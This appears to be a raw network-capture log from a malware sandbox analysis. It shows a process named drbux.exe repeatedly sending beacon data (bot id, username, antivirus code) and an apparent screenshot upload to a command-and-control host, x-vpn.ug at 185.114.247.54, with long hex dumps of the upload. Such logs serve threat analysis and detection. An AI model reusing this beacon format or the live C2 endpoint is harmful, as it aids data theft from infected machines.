Jul 19, 2021 18:36:51.595830917 CEST	20138	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:51.596338034 CEST	20142	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:51.596370935 CEST	20145	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:51.596800089 CEST	20148	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.2.6	50055	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.511043072 CEST	20121	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:51.611244917 CEST	20148	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.6	50057	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.811041117 CEST	20207	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:51.895356894 CEST	20208	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.2.6	50058	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:51.992558002 CEST	20209	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:51.992646933 CEST	20209	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:51.992803097 CEST	20219	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:51.992886066 CEST	20222	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:52.090498924 CEST	20225	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:52.090564013 CEST	20228	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:52.090759039 CEST	20230	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:52.090883970 CEST	20233	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:52.091034889 CEST	20236	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:52.091229916 CEST	20239	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:52.091626883 CEST	20241	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:52.091830015 CEST	20242	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49737	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:20.746575117 CEST	1333	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:20.746728897 CEST	1334	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:20.746926069 CEST	1344	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:20.747045994 CEST	1346	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:20.830054045 CEST	1353	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:20.830185890 CEST	1355	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:20.830559969 CEST	1363	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:20.830656052 CEST	1366	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:20.830966949 CEST	1372	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:20.830993891 CEST	1373	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:20.831382990 CEST	1376	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:20.831667900 CEST	1378	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49767	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:38.135154963 CEST	3853	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:38.135308981 CEST	3854	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:38.135556936 CEST	3864	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:38.135703087 CEST	3866	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:38.231443882 CEST	3869	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:38.231585026 CEST	3872	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:38.231987000 CEST	3875	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:38.232323885 CEST	3877	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
